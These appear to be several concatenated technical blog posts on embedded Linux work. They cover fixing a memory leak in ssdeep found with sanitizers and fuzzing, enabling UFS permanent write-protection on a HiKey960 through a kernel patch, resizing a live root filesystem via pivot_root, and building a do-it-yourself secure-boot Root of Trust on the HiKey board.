=================================================================
==18673==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 32767 byte(s) in 1 object(s) allocated from:
    #0 0x555c30d36857 in __interceptor_malloc /opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3
    #1 0x555c30dc7613 in main /opt/build-anywhere/ssdeep-2.14.1/main.cpp:282:5
    #2 0x7f5bd7458b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

SUMMARY: AddressSanitizer: 32767 byte(s) leaked in 1 allocation(s).

Fixed with:

--- a/main.cpp
+++ b/main.cpp
@@ -315,6 +315,8 @@ int main(int argc, char **argv)
       ++count;
     }
 
+    free(cwd);
+
     // If we processed files, but didn't find anything large enough
     // to be meaningful, we should display a warning message to the user.
     // This happens mostly when people are testing very small files

Use Clang’s libFuzzer

Like above, this is very simple, and the result is portable as well. A helper script you can source is x86_64-anywhere-linux-gnu/scripts/anywhere-setup-fuzzing.sh.

Build ssdeep’s libfuzzy and install, then build a smaller fuzzing harness:

#include <fuzzy.h>
#include <stdlib.h>

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
  auto state = fuzzy_new();
  fuzzy_set_total_input_length(state, Size);
  fuzzy_update(state, Data, Size);
  auto result = (char*)malloc(FUZZY_MAX_RESULT);
  fuzzy_digest(state, result, 0);
  fuzzy_free(state);
  free(result);

  return 0;  // Non-zero return values are reserved for future use.
}

$ clang++ \
  --gcc-toolchain=/opt/rt/x86_64-anywhere-linux-gnu \
  --sysroot=/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot \
  -march=x86-64 -fPIC -g -fstack-protector-all -stdlib=libc++ \
  -fsanitize=address,fuzzer \
  -fno-omit-frame-pointer \
  -fsanitize-coverage=trace-cmp fuzz.cpp \
  -static-libgcc -static-libstdc++ -fuse-ld=lld -l:libc++.a -l:libc++abi.a -l:libunwind.a -lpthread \
  -l:libfuzzy.a

Essentially the goal is to have all of clang and LLVM’s features at your fingertips.

Please reach out if you would like help building complex C/C++ projects such that the output binaries are portable.

This post explores the same concept on a HiKey960. The 960 version has an onboard Universal Flash Storage (UFS) devices, the future of MMC, and much faster! UFS as a standard has existed since 2011, but seems only since 2017 they were generally obtainable. Support in Linux has experienced very-recent updates (4.15+).

The unfortunate news is I have not found a way to implement an open-source/do-it-yourself Root of Trust on the HiKey960. I will explain why during this post, but this post will focus more on UFS write-protection.

Background information on the HiKey960

As usual, the focus is on booting.

The original HiKey’s CPU booted directly to open source l-loader code, placing the CPU into AARCH64 mode and then executing open source ARM-Trusted-Firmware BL1 or BL2. The HiKey960 uses a closed-source xloader binary stored in the UFS’s Logical Unit Number (LUN) 0 disk. This loader searches for ARM-Trusted-Firmware’s BL2 code in a GPT partition called fastboot on the UFS’s LUN3 disk (*). This statement is an assumption based on extremely naive inferences about the xloader behavior. Instead of a hardcoded partition it could be referencing an offset into LUN3.

The boot flows is as follows:

• LUN0:0x0 xloader, closed source
• LUN3:0x200000 (fastboot partition) ARM-Trusted-Firmware’s BL2, open source
• LUN3:0x1400000 (fip partition) ARM-Trusted-Firmware’s FIP container, various
• mcuimage or lpm3 included as SCP_BL2 in the FIP container, closed source
• Optional OPTEE included as BL32 in the FIP container, open source
• UEFI included as BL33 in the FIP container, open source
• Your OS, open source

If you read the HiKey960 platform defines in ARM-Trusted-Firmware you can find the offsets to fip, and the references to LUN3. This means we can place the FIP in another LUN or at another location in LUN3.

UFS Write-Protection

All of my (limited) knowledge on UFS write-protection comes from JESD220B. This specification is freely available on JEDEC’s website with a free account. Newer versions of the specification are not as free.

Write-protection can be applied at the Logical Unit (LU) granularity. At manufacture time the LU’s are configured. The UFS device maintains an internal structure for each Unit called the Device Descriptor. Within the descriptor includes a 8-bit flag called bLUWriteProtect. Section 14.1.6.5 defines this as offset 0x5 within the descriptor. A value of 0x0 means no protection, 0x1 means write-protection until the next power reset, and 0x2 means permanent write-protection. By default you can configure this flag at runtime, it is not write-once.

The writability of bLUWriteProtect on all Logical Units is determined by flags on the UFS device. Section 14.2 defines the device flags. Specifically flag fPermanentWPEn at offset x02 and flag fPowerOnWPEn at offset 0x3. These flags can be on or off, true or false, 0 or 1.

• fPowerOnWPEn can be enabled and will remain enabled until device reset
• fPermanentWPEn is write-once forever, so be very careful

If a Logical Unit’s bLUWriteProtect is written the device flags are checked. If the device flags are enabled then the potential configuration values are accepted or rejected. For example if you set bLUWriteProtect to 0x1 and fPowerOnWPEn is false, the value will be rejected. To say this a different way, if you want LUN0 to be write-protected until the next power-on you must first set the UFS’s device flag fPowerOnWPEn==1 then write bLUWriteProtect on LUN0’s device descriptor.

Inspecting UFS Write-Protection statuses

Thanks to recent commits to Linux from Stanislav Nijnikov, this is rather straight forward.

commit d10b2a8ea8fd0d6c8a667dc1950c8c061bfbbcdd
Author: Stanislav Nijnikov 
Date:   Thu Feb 15 14:14:10 2018 +0200

    scsi: ufs: sysfs: flags
    
    This patch introduces a sysfs group entry for the UFS flags. The group adds
    "flags" folder under the UFS driver sysfs entry
    (/sys/bus/platform/drivers/ufshcd/*). The flags are shown as boolean value
    ("true" or "false"). The full information about the UFS flags could be
    found at UFS specifications 2.1.
    
    Signed-off-by: Stanislav Nijnikov <stanislav.nijnikov@wdc.com>
    Reviewed-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>

commit d829fc8a1058851f1058b4a29ea02da125c1684a
Author: Stanislav Nijnikov 
Date:   Thu Feb 15 14:14:09 2018 +0200

    scsi: ufs: sysfs: unit descriptor
    
    This patch introduces a sysfs group entry for the UFS unit descriptor
    parameters. The group adds "unit_descriptor" folder under the corresponding
    SCSI device sysfs entry (/sys/class/scsi_device/*/device/). The parameters
    are shown as hexadecimal numbers. The full information about the parameters
    could be found at UFS specifications 2.1.
    
    Signed-off-by: Stanislav Nijnikov <stanislav.nijnikov@wdc.com>
    Reviewed-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>

There are not available in the Hikey960’s 4.15 kernel. Pull Linux master and apply the 4.15’s defconfig and everything should work great. The only change I made was disabling loadable modules.

On my sample HiKey960:

$ uname -a
Linux linaro-developer 4.19.0-rc2-00285-gf8f6538 #20 SMP PREEMPT Sat Sep 8 19:37:44 EDT 2018 aarch64 GNU/Linux

To inspect the UFS flags:

$ cat /sys/devices/platform/soc/ff3b0000.ufs/flags/permanent_wpe 
false
linaro@linaro-developer:/sys/devices/platform/soc/ff3b0000.ufs$ cat /sys/devices/platform/soc/ff3b0000.ufs/flags/power_on_wpe  
false
$ ls -la /sys/devices/platform/soc/ff3b0000.ufs/flags/permanent_wpe 
-r--r--r-- 1 root root 4096 Sep  8 23:40 /sys/devices/platform/soc/ff3b0000.ufs/flags/permanent_wpe

Good thing this is 0x444, but there’s no .store on these device attributes so you are super safe against bricking your HiKey960.

To inspect the unit descriptors for each LUN:

$ cat /sys/devices/platform/soc/ff3b0000.ufs/host0/target0\:0\:0/0\:0\:0\:0/unit_descriptor/lun_write_protect 
0x00
linaro@linaro-developer:/sys/devices/platform/soc/ff3b0000.ufs$ cat /sys/devices/platform/soc/ff3b0000.ufs/host0/target0\:0\:0/0\:0\:0\:*/unit_descriptor/lun_write_protect 
0x00
0x00
0x00
0x00
cat: '/sys/devices/platform/soc/ff3b0000.ufs/host0/target0:0:0/0:0:0:49456/unit_descriptor/lun_write_protect': Invalid argument
0x00
cat: '/sys/devices/platform/soc/ff3b0000.ufs/host0/target0:0:0/0:0:0:49488/unit_descriptor/lun_write_protect': Invalid argument

The Invalid arguments come from special Units called Well-Known Units that do not support write-protection, we can ignore these right now.

So this says my HiKey960 is implementing no write-protection at all. Let’s change that!

Enable fPermanentWPEn

This is a hacky example of enabling this flag through a patch to the ufshcd.c code. It is not recommended to apply this as having this functionality means permanent configuration is possible at run-time.

diff --git a/drivers/scsi/ufs/ufs.h b/drivers/scsi/ufs/ufs.h
index 54deeb7..717d03e 100644
--- a/drivers/scsi/ufs/ufs.h
+++ b/drivers/scsi/ufs/ufs.h
@@ -513,6 +514,8 @@ struct ufs_vreg_info {
 
 struct ufs_dev_info {
    bool f_power_on_wp_en;
+   bool f_perm_wp_en;
    /* Keeps information if any of the LU is power on write protected */
    bool is_lu_power_on_wp;
 };
diff --git a/drivers/scsi/ufs/ufshcd.c b/drivers/scsi/ufs/ufshcd.c
index 794a460..c86229a 100644
--- a/drivers/scsi/ufs/ufshcd.c
+++ b/drivers/scsi/ufs/ufshcd.c
@@ -3944,6 +3944,38 @@ static int ufshcd_complete_dev_init(struct ufs_hba *hba)
    return err;
 }
 
+static int ufshcd_write_wp(struct ufs_hba *hba, enum flag_idn flag) {
+   int i;
+   int err;
+   bool flag_res = 0;
+
+   err = ufshcd_query_flag_retry(hba, UPIU_QUERY_OPCODE_SET_FLAG, flag,
+       NULL);
+   if (err) {
+       dev_err(hba->dev,
+           "%s setting WP flag failed with error %d\n",
+           __func__, err);
+       goto out;
+   }
+
+   /* poll for max. 1000 iterations for fDeviceInit flag to clear */
+   for (i = 0; i < 1000 && !err && flag_res; i++)
+       err = ufshcd_query_flag_retry(hba, UPIU_QUERY_OPCODE_READ_FLAG,
+           flag, &flag_res);
+
+   if (err)
+       dev_err(hba->dev,
+           "%s reading WP flag failed with error %d\n",
+           __func__, err);
+   else if (flag == QUERY_FLAG_IDN_PWR_ON_WPE)
+       hba->dev_info.f_power_on_wp_en = flag_res;
+   else if (flag == QUERY_FLAG_IDN_PERMANENT_WPE)
+       hba->dev_info.f_perm_wp_en = flag_res;
+
+out:
+   return err;
+}
+
 /**
  * ufshcd_make_hba_operational - Make UFS controller operational
  * @hba: per adapter instance
@@ -4313,14 +4345,13 @@ static int ufshcd_get_lu_wp(struct ufs_hba *hba,
  *
  */
 static inline void ufshcd_get_lu_power_on_wp_status(struct ufs_hba *hba,
- struct scsi_device *sdev)
+                           int lun)
 {
    if (hba->dev_info.f_power_on_wp_en &&
        !hba->dev_info.is_lu_power_on_wp) {
        u8 b_lu_write_protect;
 
- if (!ufshcd_get_lu_wp(hba, ufshcd_scsi_to_upiu_lun(sdev->lun),
- &b_lu_write_protect) &&
+       if (!ufshcd_get_lu_wp(hba, lun, &b_lu_write_protect) &&
            (b_lu_write_protect == UFS_LU_POWER_ON_WP))
            hba->dev_info.is_lu_power_on_wp = true;
    }
@@ -4350,7 +4381,8 @@ static int ufshcd_slave_alloc(struct scsi_device *sdev)
 
    ufshcd_set_queue_depth(sdev);
 
- ufshcd_get_lu_power_on_wp_status(hba, sdev);
+   ufshcd_get_lu_power_on_wp_status(hba,
+       ufshcd_scsi_to_upiu_lun(sdev->lun));
 
    return 0;
 }
@@ -6391,6 +6423,9 @@ static int ufshcd_probe_hba(struct ufs_hba *hba)
        if (!ufshcd_query_flag_retry(hba, UPIU_QUERY_OPCODE_READ_FLAG,
                QUERY_FLAG_IDN_PWR_ON_WPE, &flag))
            hba->dev_info.f_power_on_wp_en = flag;
+       if (!ufshcd_query_flag_retry(hba, UPIU_QUERY_OPCODE_READ_FLAG,
+               QUERY_FLAG_IDN_PERMANENT_WPE, &flag))
+           hba->dev_info.f_perm_wp_en = flag;
 
        if (!hba->is_init_prefetch)
            ufshcd_init_icc_levels(hba);
@@ -7693,16 +7728,101 @@ static void ufshcd_add_spm_lvl_sysfs_nodes(struct ufs_hba *hba)
        dev_err(hba->dev, "Failed to create sysfs for spm_lvl\n");
 }
 
+static ssize_t ufshcd_wp_show(struct device *dev,
+       struct device_attribute *attr, char *buf)
+{
+   struct ufs_hba *hba = dev_get_drvdata(dev);
+   int curr_len;
+   int state = 0;
+
+   if (hba->dev_info.f_perm_wp_en)
+       state = 2;
+   else if (hba->dev_info.f_power_on_wp_en)
+       state = 1;
+
+   curr_len = snprintf(buf, PAGE_SIZE, "%d\n", state);
+   return curr_len;
+}
+
+static ssize_t ufshcd_wp_store(struct device *dev,
+       struct device_attribute *attr, const char *buf, size_t count)
+{
+   struct ufs_hba *hba = dev_get_drvdata(dev);
+   unsigned long flags;
+   int ret = 0;
+
+   if (count != 1)
+       return -EINVAL;
+
+   spin_lock_irqsave(hba->host->host_lock, flags);
+   if (strncmp(buf, "1", 1))
+       ret = ufshcd_write_wp(hba, QUERY_FLAG_IDN_PWR_ON_WPE);
+   else if (strncmp(buf, "2", 1))
+       ret = ufshcd_write_wp(hba, QUERY_FLAG_IDN_PERMANENT_WPE);
+   else
+       ret = -EINVAL;
+   spin_unlock_irqrestore(hba->host->host_lock, flags);
+
+   return ret;
+}
+
+static void ufshcd_add_wp_sysfs_nodes(struct ufs_hba *hba)
+{
+   hba->wp_attr.show = ufshcd_wp_show;
+   hba->wp_attr.store = ufshcd_wp_store;
+   sysfs_attr_init(&hba->wp_attr.attr);
+   hba->wp_attr.attr.name = "wp";
+   hba->wp_attr.attr.mode = 0644;
+   if (device_create_file(hba->dev, &hba->wp_attr))
+       dev_err(hba->dev, "Failed to create sysfs for wp\n");
+}
+
 static inline void ufshcd_add_sysfs_nodes(struct ufs_hba *hba)
 {
    ufshcd_add_rpm_lvl_sysfs_nodes(hba);
    ufshcd_add_spm_lvl_sysfs_nodes(hba);
+   ufshcd_add_wp_sysfs_nodes(hba);
 }
 
 static inline void ufshcd_remove_sysfs_nodes(struct ufs_hba *hba)
 {
    device_remove_file(hba->dev, &hba->rpm_lvl_attr);
    device_remove_file(hba->dev, &hba->spm_lvl_attr);
+   device_remove_file(hba->dev, &hba->wp_attr);
 }
 
 /**
diff --git a/drivers/scsi/ufs/ufshcd.h b/drivers/scsi/ufs/ufshcd.h
index cdc8bd0..727a874 100644
--- a/drivers/scsi/ufs/ufshcd.h
+++ b/drivers/scsi/ufs/ufshcd.h
@@ -526,6 +526,9 @@ struct ufs_hba {
    enum ufs_pm_level spm_lvl;
    struct device_attribute rpm_lvl_attr;
    struct device_attribute spm_lvl_attr;
+   struct device_attribute wp_attr;
+
    int pm_op_in_progress;
 
    struct ufshcd_lrb *lrb;

Now you can enable the write protection:

echo -n '2' | sudo tee /sys/devices/platform/soc/ff3b0000.ufs/wp

Meaning fPermanentWPEn will be enabled. No write-protection will occur, but now values of 0x2 written to Unit Descriptor’s bLUWriteProtect offset will make entire Logic Unit’s data write-protected permanently.

How to create a Root of Trust on HiKey960

I am referring to a do-it-yourself Root of Trust where no manufacture NDA or collaboration is required.

To allow this capability a change to the HiSilicon-provided, closed source, xloader.bin is needed. It will need the capability to boot BL2 from a LUN that is not LUN3. If that capability exists then a Root of Trust can be created by permanent write-protecting LUN0 (where the xloader lives), and either LUN1 or LUN2, whichever contains BL2. This is because ARM-Trusted-Firmware’s BL2 for the HiKey960 contains a root public key used to verify FIP, which can live on the RW LUN3.

All of this assumes there is no software programmable way to cause xloader to boot from a different location.

I moved very fast when making theses changes. There may be an easier and more efficent method, if you know one, please reach out to me!

Goal: Unmount the root filesystem and make structural changes without rebooting.

root@linaro-alip:~# resize2fs /dev/mmcblk0p9 
resize2fs 1.42.12 (29-Aug-2014)
Filesystem at /dev/mmcblk0p9 is mounted on /; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 1
[   61.307874] EXT4-fs (mmcblk0p9): resizing filesystem from 819200 to 1757691 blocks
[   61.384709] EXT4-fs warning (device mmcblk0p9): reserve_backup_gdb:968: reserved block 192 not at offset 191
[   61.394945] EXT4-fs (mmcblk0p9): resized filesystem to 1757691
Performing an on-line resize of /dev/mmcblk0p9 to 1757691 (4k) blocks.
[   61.507789] EXT4-fs warning (device mmcblk0p9): ext4_group_add:1605: No reserved GDT blocks, can't resize
resize2fs: Operation not permitted While trying to add group #25

Here you can see my kernel messages and the stderr from resize2fs. This error may be common if you are building squashed images for flashing to SD/MMC media.

For context my system has 1G of DRAM and was running Debian, to pull this off about 400MB of unused DRAM was needed.

Note: I was running as root on the serial console (e.g., ttyAMA0) for the embedded device.

Step 1: Create a DRAM-based basic root filesystem.

mkdir /tmp/tmproot
mount -t tmpfs none /tmp/tmproot

Now run mount and look for any non-root / mounts using your disk (if making disk changes). On my system /boot/efi was mounted, a umount /boot/efi did the trick.

Step 2: Move needed tools into the temporary root.

Note that later on, several commands run in the temporary root complained about not having some shared libraries. The only application I needed was resize2fs and fsck so I sort of moved fast and broke some things (temporarily).

mkdir /tmp/tmproot/{proc,sys,dev,run,usr,var,tmp,oldroot}
cp -ax /{bin,etc,sbin,lib} /tmp/tmproot/
cp -ax /usr/{bin,sbin} /tmp/tmproot/usr/

Step 3: Mount pseudo-filesystems in the temporary root.

mount --rbind /proc /tmp/tmproot/proc
mount --rbind /dev /tmp/tmproot/dev
mount --rbind /sys /tmp/tmproot/sys

Step 4: Remount the root filesystem readonly

The general guidance is to STOP as many systemctl (systemd) services as possible before this step. Close out remote sessions, stop as many things. In my experience after trying several times (n=4) this step always completed without complaining.

mount -r -o remount /

Step 4: Pivot your root into the temporary root filesystem.

I encounted an error here (seen below) and the ‘fix’ was using the --make-private mount command.

root@linaro-alip:/tmp# pivot_root /tmp/tmproot/ /tmp/tmproot/oldroot/
pivot_root: failed to change root from `/tmp/tmproot/' to `/tmp/tmproot/oldroot/': Invalid argument

mount --make-rprivate /
pivot_root /tmp/tmproot/ /tmp/tmproot/oldroot/

Step 5: Unmount previously mounted pseudo-filesystems

for i in dev proc sys run; do mount --move /oldroot/$i /$i; done

Step 6: Stop services using the old readonly-mounted filesystem

telinit u
systemctl isolate default.target

Step 7: Aggresively stop remaining process

I messed up a few times here. Mistakes resulted in losing my console/shell/etc and forced me to reboot. The goal is to run fuser -vm /oldroot, note the pids, then kill PID each of the PIDs.

Here is an example of the output in my situation and how I responded.

root@linaro-alip:/# fuser -vm /oldroot
                     USER        PID ACCESS COMMAND
/oldroot:            root     kernel mount /oldroot
                     systemd-timesync   2370 ....m systemd-timesyn
                     messagebus   2433 ....m dbus-daemon
                     root       2507 ....m agetty

kill 2507
kill 2433
kill 2370

Step 8: Finally unmount the old readonly-mounted root

The last command unmounts the root filesystem. You are then free to run whatever modifications needed. In this log I needed to filesystem-check and expand the filesystem to cover the entire partition.

umount /oldroot/
resize2fs /dev/mmcblk0p9
e2fsck -f /dev/mmcblk0p9

References

Here is the list of documents I reviewed. Thank you to all of those who took the time to document their experience and explainations (they are more detailed than this log!)

• https://devops.profitbricks.com/tutorials/increase-the-size-of-a-linux-root-partition-without-rebooting/
• https://unix.stackexchange.com/questions/226872/how-to-shrink-root-filesystem-without-booting-a-livecd
• https://www.ivarch.com/blogs/oss/2007/01/resize-a-live-root-fs-a-howto.shtml
• https://www.openattic.org/posts/how-to-shrink-root-filesystem-without-booting-a-livecd/ (very helpful!)

Pay special attention to the should as this is not speaking from authority but rather from suspicion and research.

The Root of Trust (ROT) begins in the BL2 programmed to the eMMC’s boot0 partition. The bootrom must execute the HiKey’s l-loader.bin and ARM-Trusted-Firmware’s (ATF) bl2.bin written to this alternate boot partition. The eMMC’s extended CSD register 173 (BOOT_WP) is written to permanent write-protect this content. This is a 1-time program operation that has the potential to brick the device.

As a quick preview, here are the functions and features:

• BL2 (not BL1 because HiKey skips BL1, see the ATF notes) implementing a ROT.
• eMMC boot0 and boot1 partitions permanently hardware write-protected.
• ROT implemented as a SHA256 of an RSA2048 public key you control, written to hardware write-protected region.
• Chain of Trust implemented with ATF’s development Trusted Board Boot (TBB) implementation.
• Configurable and verified Secure OS, and Non-Trusted World Firmware, essentially BL31, BL32, SCP_BL2, and BL3.
• Non-Trusted World implemented with U-Boot, for now the last thing verified.

Let’s start bottom up.

Dependencies

I recommend going through a few HiKey tutorials to become familiar with the flashing, recovery, and boot flows. This walkthrough will bootstrap many things, but if this is your entrypoint into HiKey development you may be lost by some references.

All of the following experimentation happens on a Ubuntu 16.04 host machine using an AARCH32 toolchain from apt and an AARCH64 toolchain from Linaro: https://releases.linaro.org/components/toolchain/binaries/7.2-2017.11/aarch64-linux-gnu/gcc-linaro-7.2.1-2017.11-i686_aarch64-linux-gnu.tar.xz

Build Linux

Use the recent build of Linux maintained by 96Boards for the HiKey SoC: https://github.com/96boards-hikey/linux and the branch working-android-hikey-linaro-4.4.

I found the following changes needed to boot from U-Boot.

157,164c157
< CONFIG_BLK_DEV_INITRD=y
< CONFIG_INITRAMFS_SOURCE=""
< CONFIG_RD_GZIP=y
< CONFIG_RD_BZIP2=y
< CONFIG_RD_LZMA=y
< CONFIG_RD_XZ=y
< CONFIG_RD_LZO=y
< CONFIG_RD_LZ4=y
---
> # CONFIG_BLK_DEV_INITRD is not set
464,465c457,458
< CONFIG_CMDLINE="console=ttyAMA0"
< CONFIG_CMDLINE_FROM_BOOTLOADER=y
---
> CONFIG_CMDLINE="console=ttyAMA3,115200n8 root=/dev/mmcblk0p9 rw"
> # CONFIG_CMDLINE_FROM_BOOTLOADER is not set
467,470c460,461
< # CONFIG_CMDLINE_FORCE is not set
< CONFIG_EFI_STUB=y
< CONFIG_EFI=y
< CONFIG_DMI=y
---
> CONFIG_CMDLINE_FORCE=y
> # CONFIG_EFI is not set
1063c1054,1055
< # CONFIG_DEVTMPFS is not set
---
> CONFIG_DEVTMPFS=y
> CONFIG_DEVTMPFS_MOUNT=y
1163c1155,1156
< # CONFIG_TIFM_CORE is not set
---
> CONFIG_TIFM_CORE=y
> CONFIG_TIFM_7XX1=y
1198c1191,1193
< # CONFIG_CB710_CORE is not set
---
> CONFIG_CB710_CORE=y
> # CONFIG_CB710_DEBUG is not set
> CONFIG_CB710_DEBUG_ASSUMPTIONS=y
3479,3480c3474,3477
< # CONFIG_MMC_SDHCI_PCI is not set
< # CONFIG_MMC_SDHCI_ACPI is not set
---
> CONFIG_MMC_SDHCI_IO_ACCESSORS=y
> CONFIG_MMC_SDHCI_PCI=y
> CONFIG_MMC_RICOH_MMC=y
> CONFIG_MMC_SDHCI_ACPI=y
3482,3485c3479,3482
< # CONFIG_MMC_SDHCI_OF_ARASAN is not set
< # CONFIG_MMC_SDHCI_OF_AT91 is not set
< # CONFIG_MMC_SDHCI_F_SDH30 is not set
< # CONFIG_MMC_TIFM_SD is not set
---
> CONFIG_MMC_SDHCI_OF_ARASAN=y
> CONFIG_MMC_SDHCI_OF_AT91=y
> CONFIG_MMC_SDHCI_F_SDH30=y
> CONFIG_MMC_TIFM_SD=y
3487,3488c3484,3485
< # CONFIG_MMC_CB710 is not set
< # CONFIG_MMC_VIA_SDMMC is not set
---
> CONFIG_MMC_CB710=y
> CONFIG_MMC_VIA_SDMMC=y
3493,3498c3490,3495
< # CONFIG_MMC_DW_PCI is not set
< # CONFIG_MMC_VUB300 is not set
< # CONFIG_MMC_USHC is not set
< # CONFIG_MMC_USDHI6ROL0 is not set
< # CONFIG_MMC_TOSHIBA_PCI is not set
< # CONFIG_MMC_MTK is not set
---
> CONFIG_MMC_DW_PCI=y
> CONFIG_MMC_VUB300=y
> CONFIG_MMC_USHC=y
> CONFIG_MMC_USDHI6ROL0=y
> CONFIG_MMC_TOSHIBA_PCI=y
> CONFIG_MMC_MTK=y
3524d3520
< # CONFIG_LEDS_INTEL_SS4200 is not set
3631d3626
< CONFIG_RTC_DRV_EFI=y
3882,3883d3876
< CONFIG_DMIID=y
< # CONFIG_DMI_SYSFS is not set
3886,3896d3878
< 
< #
< # EFI (Extensible Firmware Interface) Support
< #
< CONFIG_EFI_VARS=y
< CONFIG_EFI_ESRT=y
< CONFIG_EFI_VARS_PSTORE=y
< CONFIG_EFI_VARS_PSTORE_DEFAULT_DISABLE=y
< CONFIG_EFI_PARAMS_FROM_FDT=y
< CONFIG_EFI_RUNTIME_WRAPPERS=y
< CONFIG_EFI_ARMSTUB=y
4005d3986
< CONFIG_EFIVAR_FS=y
4557,4562d4537
< CONFIG_DECOMPRESS_GZIP=y
< CONFIG_DECOMPRESS_BZIP2=y
< CONFIG_DECOMPRESS_LZMA=y
< CONFIG_DECOMPRESS_XZ=y
< CONFIG_DECOMPRESS_LZO=y
< CONFIG_DECOMPRESS_LZ4=y
4585d4559
< CONFIG_UCS2_STRING=y

The goal of this configuration is to boot as simple as possible. No initial ramdisk is used and the arguments are set statically.

The commands used to build are as follows:

$ make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- hikey_defconfig
$ make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- menuconfig
$ make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- -j8 Image  hisilicon/hi6220-hikey.dtb

For these tests I was using the image built for the HiKey. If it is helpful, the kernel can be replaced using the following flow, assuming you are working in the clone of Linux.

$ simg2img ./jessie.updated.img jessie.updated.fimg
$ sudo mount -o loop ./jessie.updated.fimg ./jessie
$ sudo cp ./arch/arm64/boot/dts/hisilicon/hi6220-hikey.dtb ../jessie/boot
$ sudo cp ./arch/arm64/boot/Image ../jessie/boot
$ sudo umount ./jessie
$ img2simg ./jessie.updated.fimg jessie.updated.simg

If you have a HiKey working, simply move the hi6220-hikey.dtb and Image to /boot on the board’s filesystem.

Build U-Boot as the non-trusted world firmware

The use of U-Boot over UEFI is not required. I am more familiar with U-Boot and it can bootstrap Linux and a device tree easily. Later on it may be replaced with booting straight to Linux from ATF.

$ git clone https://github.com/trini/u-boot
$ cd u-boot

$ make O=build_hikey hikey_defconfig

I simplified the bootcommand for easier debugging. This removes the default, flexible, U-Boot bootcommand:

$ cat ./build_hikey/.config| grep BOOTCOMMAND
CONFIG_USE_BOOTCOMMAND=y
CONFIG_BOOTCOMMAND="ext2load mmc 0:9 0x00080000 boot/Image; ext2load mmc 0:9 0x02000000 boot/hi6220-hikey.dtb; booti 0x00080000 - 0x02000000"

The goal is to load only Linux and the device tree.

The following change is needed because Linux is uncompressed:

index e789f68..bba2837 100644
--- a/common/bootm.c
+++ b/common/bootm.c
@@ -31,7 +31,7 @@
 
 #ifndef CONFIG_SYS_BOOTM_LEN
 /* use 8MByte as default max gunzip size */
-#define CONFIG_SYS_BOOTM_LEN   0x800000
+#define CONFIG_SYS_BOOTM_LEN   0x8000000
 #endif
 
 #define IH_INITRD_ARCH IH_ARCH_DEFAULT

And to build U-Boot:

$ make O=build_hikey -j6
[...]
  LD      u-boot
  OBJCOPY u-boot.srec
  OBJCOPY u-boot-nodtb.bin
  SYM     u-boot.sym
  DTC     arch/arm/dts/hi6220-hikey.dtb
make[3]: 'arch/arm/dts/hi6220-hikey.dtb' is up to date.
  SHIPPED dts/dt.dtb
  FDTGREP dts/dt-spl.dtb
  COPY    u-boot.dtb
  CAT     u-boot-dtb.bin
  COPY    u-boot.bin
  LD      u-boot.elf
  CFGCHK  u-boot.cfg
make[1]: Leaving directory './build_hikey'

Build OP-TEE OS

OP-TEE has plenty of documentation. We will rush through this and focus on building a BL32 example only.

$ mkdir optee
$ cd optee

$ git clone https://github.com/OP-TEE/optee_os
$ git clone https://github.com/OP-TEE/build

$ cd build
$ make -f hikey.mk \
  DEBUG=1 \
  AARCH64_CROSS_COMPILE=$AARCH64_PATH/bin/aarch64-linux-gnu- \
  AARCH32_CROSS_COMPILE=arm-linux-gnueabihf- \
  optee-os

Build ATF without Trusted Board Boot

This is a stepping stone to booting securely. It will provide a BL1 to use in the recovery image as well as verify the ATF code can boot our non-trusted world firmware, U-Boot, and our Linux. We will build ATF again with TBB enabled soon.

$ git clone https://github.com/ARM-software/arm-trusted-firmware
$ cd arm-trusted-firmware

$ make \
  PLAT=hikey DEBUG=1 \
  SCP_BL2=../mcuimage.bin \
  BL32=../optee/optee_os/out/arm/core/tee-header_v2.bin \
  BL32_EXTRA1=../optee/optee_os/out/arm/core/tee-pager_v2.bin \
  BL32_EXTRA2=../optee/optee_os/out/arm/core/tee-pageable_v2.bin \
  SPD=opteed \
  BL33=../u-boot/build_hikey/u-boot.bin \
  all fip
[...]
Building hikey
mkdir -p  "./build/hikey/debug/bl1"
mkdir -p  "./build/hikey/debug/bl2"
mkdir -p  "./build/hikey/debug/bl31"
make CPPFLAGS="-DVERSION='\"v1.5(debug):v1.5-285-g498161a\"'" --no-print-directory -C tools/fiptool

[...]
Built build/hikey/debug/fip.bin successfully

Building l-loader and recovery mode

Recovery mode is booted by the HiKey when Boot Select is enabled, pin 3-4 are connected on J15. There is plenty of documentation for this: https://github.com/96boards/documentation/wiki/HiKeyUEFI but I would like to include the specifics of how I build a recovery mode image for completeness.

This will allow us to flash images during this walkthrough using fastboot.

To accomplish this we will use another version of ARM-Trusted-Firmware maintained by 96Boards. This will build a bl1.bin used in the l-loader build. We will only use this once and it will not be part of our boot flow, just the recovery flow. The recovery image is loaded into device memory over the USB OTG so we can fastboot flash the eMMC. This code will not persist on the device.

$ export CROSS_COMPILE=$AARCH64_PATH/bin/aarch64-linux-gnu-

$ git clone https://github.com/96boards-hikey/atf-fastboot
$ cd atf-fastboot

$ make DEBUG=1
[...]
  LD      build/hikey/debug/bl1/bl1.elf
  BIN     build/hikey/debug/bl1.bin

Built build/hikey/debug/bl1.bin successfully

NB: We are not building for HiKey960, but we will use a checkout referencing the 960 board, sorry for this confusion.

Checkout the l-loader repository, which has Makefiles for building the recovery image.

$ git clone https://github.com/96boards-hikey/l-loader -b testing/hikey960_v1.2
$ cd l-loader

$ ln -s ../arm-trusted-firmware/build/hikey/debug/bl1.bin bl1.bin
$ ln -s ../arm-trusted-firmware/build/hikey/debug/fip.bin fip.bin
$ ln -s ../atf-fastboot/build/hikey/debug/bl1.bin fastboot.bin

Confusing right?

Make the recovery image using:

$ make -f hikey.mk PTABLE_LST=linux-8g recovery.bin

Make the l-loader.bin and bl2.bin image using:

$ make -f hikey.mk PTABLE_LST=linux-8g l-loader.bin

